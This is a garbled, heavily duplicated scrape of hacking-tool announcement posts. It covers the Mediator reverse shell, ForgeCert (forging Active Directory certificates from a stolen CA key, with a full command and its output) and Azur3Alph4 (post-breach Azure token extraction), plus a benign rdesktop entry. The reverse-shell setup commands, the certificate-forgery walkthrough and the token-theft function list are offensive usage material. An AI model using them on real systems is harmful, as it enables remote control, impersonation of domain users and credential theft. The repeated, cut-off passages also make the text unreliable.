Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture
http://www.kitploit.com/2021/10/mediator-extensible-end-to-end.html
http://www.kitploit.com/2021/10/mediator-extensible-end-to-end.html
Architecture:
Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses: A client reverse shell A client handler/operator A server that bridges the two connections Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping.
Plugins
Plugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins.
Instructions:
Server
The client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py (https://github.com/lawndoc/mediator/blob/main/mediator.py)) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with $ python3 mediator.py or you can build a Docker image with the provided Dockerfile (https://github.com/lawndoc/mediator/blob/main/Dockerfile) and run it in a container (https://www.kitploit.com/search/label/Container) (make sure to publish ports 80 and 443).
Clients
You will need to install the dependencies found in requirements.txt (https://github.com/lawndoc/mediator/blob/main/requirements.txt)) for the clients to work. You can do this with the following command: $ pip3 install -r requirements.txt See Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies. The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below. Mediator server address For Python script usage, the address of the mediator host is required upon instantiation: Handler class from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run() WindowsRShell class from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run() If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -s or --server flag: handler.py $ python3 handler.py -s example.com windowsTarget.py python windowsTarget.py -s example.com ">> python windowsTarget.py -s example.com Connection key When two handlers or two reverse shells (https://www.kitploit.com/search/label/Reverse%20Shells) connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connection, all other clients of the same type trying to connect with the same connection key will be dropped. It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator. Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!". To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation: Handler class from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses: A client reverse shell A client handler/operator A server that bridges the two connections Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping.
Plugins
Plugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins.
Instructions:
Server
The client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py (https://github.com/lawndoc/mediator/blob/main/mediator.py)) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with $ python3 mediator.py or you can build a Docker image with the provided Dockerfile (https://github.com/lawndoc/mediator/blob/main/Dockerfile) and run it in a container (https://www.kitploit.com/search/label/Container) (make sure to publish ports 80 and 443).
Clients
You will need to install the dependencies found in requirements.txt (https://github.com/lawndoc/mediator/blob/main/requirements.txt)) for the clients to work. You can do this with the following command: $ pip3 install -r requirements.txt See Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies. The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below. Mediator server address For Python script usage, the address of the mediator host is required upon instantiation: Handler class from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run() WindowsRShell class from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run() If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -s or --server flag: handler.py $ python3 handler.py -s example.com windowsTarget.py python windowsTarget.py -s example.com ">> python windowsTarget.py -s example.com Connection key When two handlers or two reverse shells (https://www.kitploit.com/search/label/Reverse%20Shells) connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connection, all other clients of the same type trying to connect with the same connection key will be dropped. It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator. Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!". To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation: Handler class from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run() LinuxRShell class from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run() If executing a client script directly from a shell, you can either hard code the connection key at the bottom of the script, or the connection key can be specified as an argument with the -c or --connection-key flag: handler.py $ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key' windowsTarget.py python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key' ">> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
Tips and Reminders:
REMINDER: handlers and reverse shells will not be bridged together unless they connect to the mediator server using the same connection key within 30 seconds of each other. TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the --onefile flag TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell.
Download Mediator (https://github.com/lawndoc/mediator)
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run() If executing a client script directly from a shell, you can either hard code the connection key at the bottom of the script, or the connection key can be specified as an argument with the -c or --connection-key flag: handler.py $ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key' windowsTarget.py python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key' ">> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
Tips and Reminders:
REMINDER: handlers and reverse shells will not be bridged together unless they connect to the mediator server using the same connection key within 30 seconds of each other. TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the --onefile flag TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell.
Download Mediator (https://github.com/lawndoc/mediator)
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture
http://4.bp.blogspot.com/-Phxl4nLw_r8/YXL_AbX6b_I/AAAAAAAAwVU/ctQM0Lus-H4PuTKZUXwqnR-cWhZ_DG-JQCK4BGAYYCw/w640-h156/mediator_1_mediator-726718.png Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create plugins to expand the functionality of the reverse shell.
You can run Mediator's scripts as standalone executables or you can import them for integration into other pentesting and incident response tools. Architecture:Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses:
1. A client reverse shell
2. A client handler/operator
3. A server that bridges the two connections
Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping. PluginsPlugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins. Instructions:ServerThe client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with
The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below.
Mediator server address
For Python script usage, the address of the mediator host is required upon instantiation:
Handler class
handler.py
When two handlers or two reverse shells connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart con[...]
Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture
http://4.bp.blogspot.com/-Phxl4nLw_r8/YXL_AbX6b_I/AAAAAAAAwVU/ctQM0Lus-H4PuTKZUXwqnR-cWhZ_DG-JQCK4BGAYYCw/w640-h156/mediator_1_mediator-726718.png Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create plugins to expand the functionality of the reverse shell.
You can run Mediator's scripts as standalone executables or you can import them for integration into other pentesting and incident response tools. Architecture:Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses:
1. A client reverse shell
2. A client handler/operator
3. A server that bridges the two connections
Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping. PluginsPlugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins. Instructions:ServerThe client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with
$ python3 mediator.pyor you can build a Docker image with the provided Dockerfile and run it in a container (make sure to publish ports 80 and 443). ClientsYou will need to install the dependencies found in requirements.txt) for the clients to work. You can do this with the following command: $ pip3 install -r requirements.txtSee Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies.The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below.
Mediator server address
For Python script usage, the address of the mediator host is required upon instantiation:
Handler class
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()WindowsRShell class from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -sor --serverflag:handler.py
$ python3 handler.py -s example.comwindowsTarget.py > python windowsTarget.py -s example.comConnection keyWhen two handlers or two reverse shells connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart con[...]
Hacking Articles Tips Tricks Videos Tutorials
KitPloit - PenTest Tools! Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture http://4.bp.blogspot.com/-Phxl4nLw_r8/YXL_AbX6b_I/AAAAAAAAwVU/ctQM0Lus-H4PuTKZUXwqnR-cWhZ_DG-JQCK4BGAYYCw/w640-h156/mediator_1_mediator…
nection, all other clients of the same type trying to connect with the same connection key will be dropped.
It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator.
Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!".
To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation:
Handler class
handler.py
* TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the
* TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell. Download Mediator
It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator.
Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!".
To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation:
Handler class
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()LinuxRShell class from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()If executing a client script directly from a shell, you can either hard code the connection key at the bottom of the script, or the connection key can be specified as an argument with the -cor --connection-keyflag:handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'windowsTarget.py > python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'Tips and Reminders:* REMINDER: handlers and reverse shells will not be bridged together unless they connect to the mediator server using the same connection key within 30 seconds of each other.* TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the
--onefileflag* TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell. Download Mediator
I’ve Just Thrown My Twitter Data To Firefox, I Hope They’ll be able to ‘Cache’ it before it…
https://stevemats.medium.com/ive-just-thrown-my-twitter-data-to-firefox-i-hope-they-ll-be-able-to-cache-it-before-it-881c63bd390e?source=rss------bug_bounty-5
https://stevemats.medium.com/ive-just-thrown-my-twitter-data-to-firefox-i-hope-they-ll-be-able-to-cache-it-before-it-881c63bd390e?source=rss------bug_bounty-5
What you see is not the reality: An insight into browser caching using Twitter like button as part of the demonstration.Continue reading on Medium » (https://stevemats.medium.com/ive-just-thrown-my-twitter-data-to-firefox-i-hope-they-ll-be-able-to-cache-it-before-it-881c63bd390e?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
ForgeCert : “Golden” Certificates
ForgeCert uses the BouncyCastle C# API and a stolen Certificate Authority (CA) certificate + private key to forge certificates for arbitrary users capable of authentication to Active Directory.
This attack is codified as
@tifkin_ is the primary author of ForgeCert.
@tifkin_ and @harmj0y are the primary authors of the associated Active Directory Certificate Service research (blog and whitepaper). Background
As described in the
https://blogger.googleusercontent.com/img/a/AVvXsEgtDEV7TxzgJnyn415tS3YS7sYoTllCnY8RVLZCJ7_DsOZLl4MT-nIyZqNKEyoJudX_Z6uoL4115OQJi9vehN8E2TQp5FNmn6w36LtOkBIJNcBVRY5qD8U7rPNgxmhqZrWb21OMh704MoII42nY0oA74L3Hm6U4SBD1lOrRFPcPlhgtIR46e4Hl1Kmq=s1400
The security of the CA’s private key is paramount. As mentioned, if the private key is not protected by a hardware solution like a TPM or a HSM, the key will be encrypted with the Data Protection API (DPAPI) and stored on disk on the CA server. If an attacker is able to compromise a CA server, they can extract the private key for any CA certificate not protected by hardware by using @gentilkiwi’s Mimikatz or GhostPack’s SharpDPAPI project.
Because the only key material used to sign issued certificates is the CA’s private key, if an attacker steals such a key (for a certificate in NTAuthCertificates) they can forge certificates capable of domain authentication. These forged certificates can be for any principal in the domain (though the account needs to be “active” for authentication to be possible, so accounts like krbtgt will not work) and the certificates will be valid for as long as the CA certificate is valid (usually 5 years by default but can be set to be longer).
Also, as these certificates are not a product of the normal issuance process, the CA is not aware that they were created. Thus, the certificates cannot be revoked.
Note: the private key for ANY CA certificate in NTAuthCertificates (root or subordinate CA) can be used to forge certificates capable of authentication in the forest. If the certificate/key is from a subordinate CA, a legitimate CRL for verification of the certificate chain must be supplied.
ForgeCert uses the BouncyCastle’s X509V3CertificateGenerator to perform the forgeries. Command Line Usage
C:\Temp>ForgeCert.exe
ForgeCert 1.0.0.0
Copyright c 2021
ERROR(S):
Required option ‘CaCertPath’ is missing.
Required option ‘SubjectAltName’ is missing.
Required option ‘NewCertPath’ is missing.
Required option ‘NewCertPassword’ is missing.
–CaCertPath Required. CA private key as a .pfx or .p12 file
–CaCertPassword Password to the CA private key file
–Subject (Default: CN=User) Subject name in the certificate
–SubjectAltName Required. UPN of the user to authenticate as
–NewCertPath Required. Path where to save the new .pfx certificate
–NewCertPassword Required. Password to the .pfx file
–CRL ldap path to a CRL for the forged certificate
–help Display this help screen.
–version Display version information.
Usage
Note: for a complete walkthro[...]
ForgeCert : “Golden” Certificates
ForgeCert uses the BouncyCastle C# API and a stolen Certificate Authority (CA) certificate + private key to forge certificates for arbitrary users capable of authentication to Active Directory.
This attack is codified as
DPERSIST1in our “Certified Pre-Owned” whitepaper. This code base was released ~45 days after the whitepaper was published.@tifkin_ is the primary author of ForgeCert.
@tifkin_ and @harmj0y are the primary authors of the associated Active Directory Certificate Service research (blog and whitepaper). Background
As described in the
Backgroundand Forging Certificates with Stolen CA Certificates - DPERSIST1sections of our whitepaper, the private key for a Certificate Authority’s CA certificate is protected on the CA server either via DPAPI or hardware (HSM/TPM). Additionally, the certificate (sans private key) is published to the NTAuthCertificates forest object, which defines CA certificates that enable authentication to AD. Put together, a CA whose certificate is present in NTAuthCertificates uses its private key to sign certificate signing requests (CSRs) from requesting clients. This graphic summarizes the process:https://blogger.googleusercontent.com/img/a/AVvXsEgtDEV7TxzgJnyn415tS3YS7sYoTllCnY8RVLZCJ7_DsOZLl4MT-nIyZqNKEyoJudX_Z6uoL4115OQJi9vehN8E2TQp5FNmn6w36LtOkBIJNcBVRY5qD8U7rPNgxmhqZrWb21OMh704MoII42nY0oA74L3Hm6U4SBD1lOrRFPcPlhgtIR46e4Hl1Kmq=s1400
The security of the CA’s private key is paramount. As mentioned, if the private key is not protected by a hardware solution like a TPM or a HSM, the key will be encrypted with the Data Protection API (DPAPI) and stored on disk on the CA server. If an attacker is able to compromise a CA server, they can extract the private key for any CA certificate not protected by hardware by using @gentilkiwi’s Mimikatz or GhostPack’s SharpDPAPI project.
THEFT3in the whitepaper describes this process for machine certificates.Because the only key material used to sign issued certificates is the CA’s private key, if an attacker steals such a key (for a certificate in NTAuthCertificates) they can forge certificates capable of domain authentication. These forged certificates can be for any principal in the domain (though the account needs to be “active” for authentication to be possible, so accounts like krbtgt will not work) and the certificates will be valid for as long as the CA certificate is valid (usually 5 years by default but can be set to be longer).
Also, as these certificates are not a product of the normal issuance process, the CA is not aware that they were created. Thus, the certificates cannot be revoked.
Note: the private key for ANY CA certificate in NTAuthCertificates (root or subordinate CA) can be used to forge certificates capable of authentication in the forest. If the certificate/key is from a subordinate CA, a legitimate CRL for verification of the certificate chain must be supplied.
ForgeCert uses the BouncyCastle’s X509V3CertificateGenerator to perform the forgeries. Command Line Usage
C:\Temp>ForgeCert.exe
ForgeCert 1.0.0.0
Copyright c 2021
ERROR(S):
Required option ‘CaCertPath’ is missing.
Required option ‘SubjectAltName’ is missing.
Required option ‘NewCertPath’ is missing.
Required option ‘NewCertPassword’ is missing.
–CaCertPath Required. CA private key as a .pfx or .p12 file
–CaCertPassword Password to the CA private key file
–Subject (Default: CN=User) Subject name in the certificate
–SubjectAltName Required. UPN of the user to authenticate as
–NewCertPath Required. Path where to save the new .pfx certificate
–NewCertPassword Required. Password to the .pfx file
–CRL ldap path to a CRL for the forged certificate
–help Display this help screen.
–version Display version information.
Usage
Note: for a complete walkthro[...]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Rdesktop : Open Source Client for Microsoft’s RDP protocol
Rdesktop is an open source client for Microsoft’s RDP protocol. It is known to work with Windows versions ranging from NT 4 Terminal Server to Windows 2012 R2 RDS. rdesktop currently has implemented the RDP version 4 and 5 protocols.
Installation
rdesktop uses a GNU-style build procedure. Typically all that is necessary to install rdesktop is the following:
% ./configure
% make
% make install
The default is to install under
The smart-card support module uses PCSC-lite. You should use PCSC-lite 1.2.9 or later. To enable smart-card support in the rdesktop add
Note for users building from source
If you have retrieved a snapshot of the rdesktop source, you will first need to run
Usage
Connect to an RDP server with:
% rdesktop server
where
You can also specify a number of options on the command line. These are listed in the rdesktop manual page (run
Download
Rdesktop : Open Source Client for Microsoft’s RDP protocol
Rdesktop is an open source client for Microsoft’s RDP protocol. It is known to work with Windows versions ranging from NT 4 Terminal Server to Windows 2012 R2 RDS. rdesktop currently has implemented the RDP version 4 and 5 protocols.
Installation
rdesktop uses a GNU-style build procedure. Typically all that is necessary to install rdesktop is the following:
% ./configure
% make
% make install
The default is to install under
/usr/local. This can be changed by adding --prefix=<directoryto the configure line.The smart-card support module uses PCSC-lite. You should use PCSC-lite 1.2.9 or later. To enable smart-card support in the rdesktop add
--enable-smartcardto the configure line.Note for users building from source
If you have retrieved a snapshot of the rdesktop source, you will first need to run
./bootstrapin order to generate the build infrastructure. This is not necessary for release versions of rdesktop.Usage
Connect to an RDP server with:
% rdesktop server
where
serveris the name of the Terminal Services machine. If you receive “Connection refused”, this probably means that the server does not have Terminal Services enabled, or there is a firewall blocking access.You can also specify a number of options on the command line. These are listed in the rdesktop manual page (run
man rdesktop).Download
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials ForgeCert : “Golden” Certificates ForgeCert uses the BouncyCastle C# API and a stolen Certificate Authority (CA) certificate + private key to forge certificates for arbitrary users capable of authentication to Active Directory. This…
ugh of stealing a CA private key and forging auth certs, see
Context:
* The stolen CA’s certificate is
* The subject alternative name (i.e., the user we’re forging a certificate for), is
* The forged certificate will be saved as
CA Certificate Information:
Subject: CN=theshire-DC-CA, DC=theshire, DC=local
Issuer: CN=theshire-DC-CA, DC=theshire, DC=local
Start Date: 1/4/2021 10:48:02 AM
End Date: 1/4/2026 10:58:02 AM
Thumbprint: 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
Serial: 14BFC25F2B6EEDA94404D5A5B0F33E21
Forged Certificate Information:
Subject: CN=User
SubjectAltName: localadmin@theshire.local
Issuer: CN=theshire-DC-CA, DC=theshire, DC=local
Start Date: 7/26/2021 3:38:45 PM
End Date: 7/26/2022 3:38:45 PM
Thumbprint: C5789A24E91A40819EFF7CFD77150595F8B9878D
Serial: 3627A48F90F6869C3215FF05BC3B2E42
Done. Saved forged certificate to localadmin.pfx with the password ‘NewPassword123!’
This forgery can be done on an attacker-controlled system, and the resulting certificate can be used with Rubeus to request a TGT (and/or retrieve the user’s NTLM https://s.w.org/images/core/emoji/13.1.0/72x72/1f609.png
Defensive Considerations
The TypeRefHash of the current ForgeCert codebase is b26b451ff2c947ae5904f962e56facbb45269995fbb813070386472f307cfcf0.
The TypeLib GUID of ForgeCert is bd346689-8ee6-40b3-858b-4ed94f08d40a. This is reflected in the Yara rules currently in this repo.
See
Fabian Bader published a great post on how to mitigate many uses of “Golden Certificates” through OSCP tweaks. Note thought that in the Final Thoughts section he mentions
We believe there may opportunities to build Yara/other detection rules for types of forged certificates this project produces – if any defensive researchers find a good way to signature these files, please let us know and we will update the Yara rules/defensive guidance here. Reflections
There is a clear parallel between “Golden Tickets” (forged TGTs) and these “Golden Certificates” (forced AD CS certs). Both the krbtgt hash and CA private key are cryptographic material critical to the security of an Active Directory environment, and both can be used to forge authenticators for arbitrary users. However, while the krbtgt hash can be retrieved remotely over DCSync, a CA private key must (at least as far as we know) be recovered through code execution on the CA machine itself. While a krbtgt hash can be rotated relatively easily, rotating a CA private key is significantly more difficult.
On the subject of public disclosure, we self-embargoed the release of our offensive tooling (ForgeCert as well as Certify) for ~45 days after we published our whitepaper in order to give organizations a chance to get a grip on the issues surrounding Active Directory Certificate Services. However, we have found that organizations and vendors have historically often not fixed issues or built detections for “theoretical” att[...]
DPERSIST1in the whitepaper.Context:
* The stolen CA’s certificate is
ca.pfx, encrypted with a password of Password123!* The subject is arbitrary since we’re specifying a subject alternative name for the certificate.* The subject alternative name (i.e., the user we’re forging a certificate for), is
localadmin@theshire.local.* The forged certificate will be saved as
localadmin.pfx, encrypted with the password NewPassword123!C:\Tools\ForgeCert>ForgeCert.exe –CaCertPath ca.pfx –CaCertPassword “Password123!” –Subject “CN=User” –SubjectAltName “localadmin@theshire.local” –NewCertPath localadmin.pfx –NewCertPassword “NewPassword123!”CA Certificate Information:
Subject: CN=theshire-DC-CA, DC=theshire, DC=local
Issuer: CN=theshire-DC-CA, DC=theshire, DC=local
Start Date: 1/4/2021 10:48:02 AM
End Date: 1/4/2026 10:58:02 AM
Thumbprint: 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
Serial: 14BFC25F2B6EEDA94404D5A5B0F33E21
Forged Certificate Information:
Subject: CN=User
SubjectAltName: localadmin@theshire.local
Issuer: CN=theshire-DC-CA, DC=theshire, DC=local
Start Date: 7/26/2021 3:38:45 PM
End Date: 7/26/2022 3:38:45 PM
Thumbprint: C5789A24E91A40819EFF7CFD77150595F8B9878D
Serial: 3627A48F90F6869C3215FF05BC3B2E42
Done. Saved forged certificate to localadmin.pfx with the password ‘NewPassword123!’
This forgery can be done on an attacker-controlled system, and the resulting certificate can be used with Rubeus to request a TGT (and/or retrieve the user’s NTLM https://s.w.org/images/core/emoji/13.1.0/72x72/1f609.png
Defensive Considerations
The TypeRefHash of the current ForgeCert codebase is b26b451ff2c947ae5904f962e56facbb45269995fbb813070386472f307cfcf0.
The TypeLib GUID of ForgeCert is bd346689-8ee6-40b3-858b-4ed94f08d40a. This is reflected in the Yara rules currently in this repo.
See
PREVENT1, DETECT3, and DETECT5in our whitepaper for prevention and detection guidance.Fabian Bader published a great post on how to mitigate many uses of “Golden Certificates” through OSCP tweaks. Note thought that in the Final Thoughts section he mentions
This method is not bulletproof at all. Since the attacker is in charge of the certificate creation process, she could just change the serial number to a valid one.This was implemented in his PR, though remember that by default the serial number will be randomized, meaning the OSCP prevention should work in many cases and is worth implementing in our opinion.We believe there may opportunities to build Yara/other detection rules for types of forged certificates this project produces – if any defensive researchers find a good way to signature these files, please let us know and we will update the Yara rules/defensive guidance here. Reflections
There is a clear parallel between “Golden Tickets” (forged TGTs) and these “Golden Certificates” (forced AD CS certs). Both the krbtgt hash and CA private key are cryptographic material critical to the security of an Active Directory environment, and both can be used to forge authenticators for arbitrary users. However, while the krbtgt hash can be retrieved remotely over DCSync, a CA private key must (at least as far as we know) be recovered through code execution on the CA machine itself. While a krbtgt hash can be rotated relatively easily, rotating a CA private key is significantly more difficult.
On the subject of public disclosure, we self-embargoed the release of our offensive tooling (ForgeCert as well as Certify) for ~45 days after we published our whitepaper in order to give organizations a chance to get a grip on the issues surrounding Active Directory Certificate Services. However, we have found that organizations and vendors have historically often not fixed issues or built detections for “theoretical” att[...]
Hacking Articles Tips Tricks Videos Tutorials
ugh of stealing a CA private key and forging auth certs, see DPERSIST1in the whitepaper. Context: * The stolen CA’s certificate is ca.pfx, encrypted with a password of Password123!* The subject is arbitrary since we’re specifying a subject alternative name…
acks until someone proves something is possible with a proof of concept.
This is reflected in some people’s reaction to the research of
This is reflected in some people’s reaction to the research of
this IS StUPId, oF COurse YoU Can FORge CERts WITH ThE ca PriVAtE KeY.To which we state, yes, many things are possible, but PoC||GTFODownload
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Azur3Alph4 : A PowerShell Module That Automates Red-Team Tasks For Ops On Objective
Azur3Alph4 is a PowerShell module that automates red-team tasks for ops on objective. This module situates in a post-breach (RCE achieved) position. Token extraction and many other tools will not execute successfully without starting in this position. This module should be used for further enumeration and movement in a compromised app that is part of a managed identity.
Azur3Alph4 is currently in development. Modules are being worked on and updated. Most of this is still untested.
Scripts are in repo for individual use and easy identification, but the .psm1 file is what will be consistently updated.
Installation & Usage
Point the $envendpoint to cmd execution passing “env” to the Azure backend.
Updates – 8/10/2021
* Added Get-ResourceActions.ps1 and updated Azur3Alph4.psm1
Updates – 8/5/2021
* Made Azur3Alph4 modular
* Added Get-SubscriptionId function
Why This Was Built
* I built this because I wanted to learn more about both PowerShell and Azure, two things I’d definitely like to get better at.
* To help automate and eliminate a lot of repetitive PS commands.
* To build off my current knowledge of Azure red teaming
Function List
Get-Endpoint
Enumerates an Azure endpoint to verify whether or not it belongs to a managed identity
Get-ManagedIdentityToken
Grabs the Managed Identity Token from the endpoint using the extracted secret. Stores the value in a given variable
Connect-AzAccount
Takes a username and password variable and automates SecureString conversion and connects to an Azure account
Get-SubscriptionId
Gets the subscription ID using the REST API for Azure
Get-ManagedIdentityResources
Uses the subscription ID to enumerate all resources that are accessible
Get-ResourceActions.ps1
Enumerates all resources available using Azure token and lists permissions of each resource directly below it
Download
Azur3Alph4 : A PowerShell Module That Automates Red-Team Tasks For Ops On Objective
Azur3Alph4 is a PowerShell module that automates red-team tasks for ops on objective. This module situates in a post-breach (RCE achieved) position. Token extraction and many other tools will not execute successfully without starting in this position. This module should be used for further enumeration and movement in a compromised app that is part of a managed identity.
Azur3Alph4 is currently in development. Modules are being worked on and updated. Most of this is still untested.
Scripts are in repo for individual use and easy identification, but the .psm1 file is what will be consistently updated.
Installation & Usage
Import-Module Azur3Alph4Point the $envendpoint to cmd execution passing “env” to the Azure backend.
Updates – 8/10/2021
* Added Get-ResourceActions.ps1 and updated Azur3Alph4.psm1
Updates – 8/5/2021
* Made Azur3Alph4 modular
* Added Get-SubscriptionId function
Why This Was Built
* I built this because I wanted to learn more about both PowerShell and Azure, two things I’d definitely like to get better at.
* To help automate and eliminate a lot of repetitive PS commands.
* To build off my current knowledge of Azure red teaming
Function List
Get-Endpoint
Enumerates an Azure endpoint to verify whether or not it belongs to a managed identity
Get-ManagedIdentityToken
Grabs the Managed Identity Token from the endpoint using the extracted secret. Stores the value in a given variable
Connect-AzAccount
Takes a username and password variable and automates SecureString conversion and connects to an Azure account
Get-SubscriptionId
Gets the subscription ID using the REST API for Azure
Get-ManagedIdentityResources
